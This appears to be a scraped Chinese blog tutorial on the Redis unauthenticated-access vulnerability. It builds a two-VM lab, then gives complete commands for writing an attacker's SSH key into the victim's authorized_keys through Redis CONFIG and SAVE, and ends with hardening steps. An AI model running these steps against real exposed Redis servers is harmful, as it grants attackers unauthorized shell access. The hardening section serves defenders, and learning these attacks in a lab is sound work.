Redis未授权访问漏洞的利用及防护
Redis未授权访问漏洞的利用及防护
什么是Redis未授权访问漏洞?
Redis在默认情况下,会绑定在0.0.0.0:6379
。如果没有采取相关的安全策略,比如添加防火墙规则、避免其他非信任来源IP访问等,这样会使Redis服务完全暴露在公网上。如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在访问目标服务器时,可以在未授权的情况下访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行文件的读写等操作。攻击者可以成功地将自己的ssh公钥写入到目标服务器的 /root/.ssh
文件夹下的authotrized_keys
文件中,进而可以使用对应地私钥直接使用ssh服务登录目标服务器。
简单来讲,我们可以将漏洞的产生归结为两点:
redis绑定在
0.0.0.0:6379
,且没有进行添加防火墙规则、避免其他非信任来源IP访问等相关安全策略,直接暴露在公网上没有设置密码认证(一般为空),可以免密码远程登录redis服务
漏洞可能产生的危害:
攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以通过恶意执行
flushall
来清空所有数据攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件
如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害者服务器
既然我们已经知道了攻击手法,那么我们该如何实现这一漏洞的利用呢?
Redis未授权访问漏洞的利用
环境准备
两台主机(这里我选择的是两台虚拟机,一台用的是Ubuntu,一台用的是Kali Linux)
一、 安装redis服务
1. 从官网下载redis源码的压缩包
wget http://download.redis.io/releases/redis-3.2.11.tar.gz
2. 下载完成后,解压压缩包
tar xzf redis-3.2.11.tar.gz
3. 然后进入解压后的目录:cd redis-3.2.11
,输入make
并执行
出现如下即编译成功:
4. make
结束后,进入src
目录:cd src
,将redis-server和redis-cli拷贝到/usr/bin
目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)
你可能会碰到如下问题:
python@ubuntu:~/Desktop/redis-3.2.11/src$ sudo cp redis-server /usr/bin/
cp: 无法创建普通文件'/usr/bin/redis-server': 文本文件忙
这个时候你先去检查/usr/bin
目录下是否已经存在redis-server,如果不存在的话,我们选择停止服务:
python@ubuntu:~/Desktop/redis-3.2.11/src$ redis-cli -h 127.0.0.1 -p 6379 shutdown
或者直接杀死进程就好了:
python@ubuntu:~/Desktop/redis-3.2.11/src$ sudo kill -9 PID
我们再启动服务就好了~
python@ubuntu:~/Desktop/redis-3.2.11/src$ redis-server
此时我们再检查下/usr/bin
目录下是否有redis-cli和redis-server:
python@ubuntu:~$ ls /usr/bin | grep redis
5. 返回目录redis-3.2.11,将redis.conf拷贝到/etc/
目录下
python@ubuntu:~/Desktop/redis-3.2.11$ sudo cp redis.conf /etc/
6. 编辑etc中的redis配置文件redis.conf
python@ubuntu:~/Desktop/redis-3.2.11$ vim /etc/redis.conf
去掉ip绑定,允许除本地外的主机远程登录redis服务:
关闭保护模式,允许远程连接redis服务:
7. 使用/etc/
目录下的redis.conf文件中的配置启动redis服务
root@kali:~/桌面/redis-3.2.11# redis-server /etc/redis.conf
这里我又踩了一个大坑,我遇到了这样一个问题:
python@ubuntu:~/Desktop/redis-3.2.11/src$ redis-server /etc/redis.conf
*** FATAL CONFIG FILE ERROR ***
Reading the configuration file, at line 80
>>> 'protected-mode no'
Bad directive or wrong number of arguments
这个问题困扰了我很久,后面惊奇的发现,是因为redis.conf和当前版本的redis不匹配造成的问题,当前Ubuntu的Redis版本是3.0.6,而redis.conf的版本是3.2.11,后面才知道是因为我Ubuntu里面已经装过Redis造成的,解决方法如下:
卸载老版本redis-server:
sudo apt-get remove redis-server
由于之前已经下载了redis-3.2.11的版本,所以我们直接make就好了,照着上面的步骤重新来一遍就OK了。
我们可以看到,版本对应上去了,都是3.2.11,也能够完成reids.conf文件中的配置启动redis服务。
二、安装ssh服务
由于Ubuntu和Kali Linux已经安装有ssh服务,但默认没有启动,需使用systemctl start sshd
命令启动ssh服务。
那么我们该怎么确定有没有安装ssh服务呢?你尝试一下service sshd start
命令:
fauked to start sshd.service: Unit sshd.service not found
如果出现上述结果时,说明你的虚拟机没有安装ssh服务,此时你需要运行以下命令安装ssh服务:
sudo apt-get install openssh-server
再次运行以下命令确认ssh服务是否开启:
ps -e | ssh
最后显示:3228 ? 00:00:00 sshd说明ssh服务器已启用
我们让这两台虚拟主机配置相同的Redis环境,一台作为受害者的靶机,一台作为攻击者的主机。
至此,我们已经成功搭建完成了漏洞利用的环境,此时的redis服务是可以以root用户身份远程免密码登录的。
三、复现漏洞利用场景
1. 我们先通过ifconfig
测试一下两台主机的IP地址
我们可以看到,Ubuntu的IP地址是192.168.152.133,Kali Linux的IP地址是192.168.152.131,所以我们不需要修改任何东西,但如果IP地址相同,我们修改其中一台虚拟机的IP:
ifconfig 网卡名称(比如ens33) 我们要修改成的IP地址(比如192.168.152.135) up
我们必须保证两台主机能够相互ping通
2. 我们假设,Ubuntu为虚拟机A,Kali Linux为虚拟机B。虚拟机A(192.168.152.133)为受害者的主机,虚拟机B(192.168.152.131)为攻击者的主机
3. 在A中开启redis服务:redis-server /etc/redis.conf
4. 新开一个终端,在主机A中执行mkdir /root/.ssh
命令,创建ssh公钥存放目录(A是作为ssh服务器使用的)
5. 在B中生成ssh公钥和私钥,密码设置为空
6. 进入.ssh
目录:cd .ssh/
,将生成的公钥保存到kitty.txt
root@kali:~/.ssh# (echo -e "\n\n";cat id_rsa.pub; echo -e "\n\n") > kitty.txt
7. 将kitty.txt
写入redis(使用redis-cli -h IP
命令连接主机A,将文件写入)
root@kali:~/.ssh# cat kitty.txt | redis-cli -h 192.168.152.133 -x set crack
OK
8. 远程登录主机A的redis服务:redis-cli -h 192.168.0.146
并使用config get dir
命令得到redis备份的路径
root@kali:~/.ssh# redis-cli -h 192.168.152.133
192.168.152.133:6379> config get dir
1) "dir"
2) "/home/python/.ssh"
9. 更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh
,这里我没有登录root用户,我登录的用户名是python,所以Ubuntu的默认路径是/home/python/.ssh
,所以不需要更改)
10. 设置上传公钥的备份文件名字为authorized_keys
192.168.152.133:6379> config set dbfilename authorized_keys
OK
11. 检查是否更改成功(查看有没有authorized_keys
文件),没有问题就保存然后退出,至此,我们成功地写入ssh公钥到靶机上
192.168.152.133:6379> config get dbfilename
1) "dbfilename"
2) "authorized_keys"
192.168.152.133:6379> save
OK
192.168.152.133:6379> exit
12. 开启主机A和主机B的ssh服务(Fedor默认ssh服务关闭),命令为systemctl start sshd.service
13. 在主机B使用ssh免密登录主机A
root@kali:~/.ssh# ssh -i id_rsa python@192.168.152.133
很明显,我们已经登录成功了!至此,我们成功地利用redis未授权访问漏洞实现了ssh免密登录到目标服务器上。
Redis未授权访问漏洞的防护
禁止远程使用一些高危命令
我们可以通过修改redis.conf文件来禁用远程修改DB文件地址
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""
低权限运行Redis服务
为Redis服务创建单独的user
和home
目录,并且配置禁止登陆
groupadd -r redis && useradd -r -g redis redis
为Redis添加密码验证
我们可以通过修改redis.conf文件来为Redis添加密码验证
requirepass mypassword
禁止外网访问 Redis
我们可以通过修改redis.conf文件来使得Redis服务只在当前主机可用
bind 127.0.0.1
保证authorized_keys文件的安全
为了保证安全,您应该阻止其他用户添加新的公钥。将authorized_keys
的权限设置为对拥有者只读,其他用户没有任何权限
chmod 400 ~/.ssh/authorized_keys
为保证authorized_keys
的权限不会被改掉,您还需要设置该文件的immutable位权限
chattr +i ~/.ssh/authorized_keys
然而,用户还可以重命名~/.ssh
,然后新建新的~/.ssh
目录和authorized_keys
文件。要避免这种情况,需要设置~./ssh
的immutable位权限
chattr +i ~/.ssh
如果需要添加新的公钥,需要移除authorized_keys
的 immutable 位权限。然后,添加好新的公钥之后,按照上述步骤重新加上immutable位权限
Redis未授权访问漏洞的利用及防护的更多相关文章
- [ Redis ] Redis 未授权访问漏洞被利用,服务器登陆不上
一.缘由: 突然有一天某台服务器远程登陆不上,试了好几个人的账号都行,顿时慌了,感觉服务器被黑.在终于找到一个还在登陆状态的同事后,经查看/ect/passwd 和/etc/passwd-异常,文件中 ...
- redis未授权弱口令检测脚本(redis未授权访问漏洞,利用redis写webshell)
以下如有雷同,不胜荣幸 * --- 示例代码!!!!!----*/ #! /usr/bin/env python # _*_ coding:utf-8 _*_ import socket impor ...
- 10.Redis未授权访问漏洞复现与利用
一.漏洞简介以及危害: 1.什么是redis未授权访问漏洞: Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等 ...
- Redis未授权访问漏洞复现与利用
漏洞简介 Redis默认情况下,会绑定在0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,这样将会将Redis服务暴露到公网上,如果在没有设置密码认 ...
- 利用redis未授权访问漏洞(windows版)
0x00 原理 首先需要知道的是,redis是一种非关系型数据库.它在默认情况下,绑定在0.0.0.0:6379 ,若不采取相关策略,比如添加防火墙限制非信任IP访问,会使得redis服务暴露到公 ...
- Redis 未授权访问漏洞(附Python脚本)
0x01 环境搭建 #下载并安装 cd /tmp wget http://download.redis.io/releases/redis-2.8.17.tar.gz tar xzf redis-.t ...
- Redis未授权访问漏洞复现
Redis未授权访问漏洞复现 一.漏洞描述 Redis默认情况下,会绑定在0.0.0.0:6379(在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没 ...
- [转帖]Redis未授权访问漏洞复现
Redis未授权访问漏洞复现 https://www.cnblogs.com/yuzly/p/11663822.html config set dirconfig set dbfile xxxx 一. ...
- 浅谈Redis未授权访问漏洞
Redis未授权访问漏洞 Redis是一种key-value键值对的非关系型数据库 默认情况下绑定在127.0.0.1:6379,在没有进行采用相关的策略,如添加防火墙规则避免其他非信任来源ip访问等 ...
随机推荐
- Luncene介绍
1.Luncene介绍 案例:实现一个文件的搜索功能,通过关键字搜索文件,凡是文件名或文件内容包括关键字文件都需要找出来.还可以根据中文词语进行查询,并且需要支持多个条件查询.Lucene可以解决 数 ...
- [20170627]使用TSPITR恢复表空间.txt
[20170627]使用TSPITR恢复表空间.txt --//RMAN提供了一种实现所谓TSPITR(Tablespace Point-In-Time Recovery)的技术,通过简单的一个语句, ...
- 09-OpenLDAP加密传输配置
OpenLDAP加密传输配置(CA服务器与openldap服务器异机) 阅读视图 环境准备 CA证书服务器搭建 OpenLDAP服务端与CA集成 OpenLDAP客户端配置 客户端测试验证 故障处理 ...
- 洗礼灵魂,修炼python(56)--爬虫篇—知识补充—编码之url编码
其实在最前面的某一篇博文里,是绝对提过编码的,有ASCII,有UTF-8,有GB2312等等,这些我绝对说过的. url编码 首先,Http协议中参数的传输是"key=value" ...
- Android (checkBox)
1.使用 setOnCheckedChangeListener()方法对checkBox进行事件监听 2.重写方法 public void onCheckedChanged(CompoundButto ...
- pip安装django的时候提示没有这个命令
问题描述: 在安装pyenv安装完python的时候,用pip安装django提示没有这个命令 [root@zabbix ~]# pip install django== 2.0 pyenv: pip ...
- Win10更换电脑,又不想重装系统的解决方法
问题描述: 在公司因为两年前用的i3的电脑很卡,然后想换i5的电脑,但是又不想重装系统,因为安装的东西太多了,重装很麻烦 Windows to go介绍: Windows To Go是Windows ...
- tkinter学习系列(二)之窗口的设置
目录 (一)窗体的最小框架 1.说明: 2.源代码: 3.实现效果: (二)窗体的基本设置 1.说明: 2.完整代码: 3.实现效果: (三)窗体的外形设置 1.说明: 2.完整代码: 3.实现效果: ...
- apply 和call 的区别,apply实用小技巧
Js apply方法详解 我在一开始看到javascript的函数apply和call时,非常的模糊,看也看不懂,最近在网上看到一些文章对apply方法和call的一些示例,总算是看的有点眉目了,在这 ...
- MSSQL Server 数据库备份还原常用SQL语句及注意
1.备份数据库 backup database db_name to disk='d:\db_name.bak' with format --通过使用with format可以做到覆盖任何现有的备份和 ...